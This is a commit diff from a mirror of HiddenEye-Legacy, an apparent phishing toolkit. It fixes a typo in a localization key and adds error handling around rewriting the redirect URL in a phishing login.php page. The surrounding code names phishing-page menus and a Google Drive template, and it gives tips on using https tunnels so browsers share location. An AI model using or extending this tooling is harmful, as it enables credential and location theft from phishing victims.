mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Fixed typo and added some error handling in places
This commit is contained in:
parent
3d49802d58
commit
a9a9f5cd8d
|
@ -356,7 +356,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
||||||
webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
|
webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
|
||||||
print(localization.lang_start_phishing_page["https_suggestion"])
|
print(localization.lang_start_phishing_page["https_suggestion"])
|
||||||
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
||||||
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
|
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
|
@ -401,9 +401,17 @@ def enter_custom_redirecting_url(): # Question where user can input custom web-
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
with open('Server/www/login.php') as f:
|
try:
|
||||||
read_data = f.read()
|
with open('Server/www/login.php') as f:
|
||||||
c = read_data.replace('<CUSTOM>', custom)
|
read_data = f.read()
|
||||||
f = open('Server/www/login.php', 'w')
|
c = read_data.replace('<CUSTOM>', custom)
|
||||||
f.write(c)
|
f = open('Server/www/login.php', 'w')
|
||||||
f.close()
|
f.write(c)
|
||||||
|
f.close()
|
||||||
|
except FileNotFoundError:
|
||||||
|
run_command("clear")
|
||||||
|
print(global_localization.hidden_eye_logo)
|
||||||
|
print(global_localization.official_website_link)
|
||||||
|
print(global_localization.by_darksec)
|
||||||
|
print("[^] ERROR: Please make sure your folder contains a valid login.php file.")
|
||||||
|
exit()
|
||||||
|
|
|
@ -66,7 +66,7 @@ lang_start_main_menu = {
|
||||||
lang_start_phishing_page = {
|
lang_start_phishing_page = {
|
||||||
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'),
|
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'),
|
||||||
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'),
|
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'),
|
||||||
"press_enter_to_contunue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
|
"press_enter_to_continue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
|
||||||
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
|
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
|
||||||
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
|
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
|
||||||
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])
|
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])
|
||||||
|
|
Loading…
Reference in New Issue
Block a user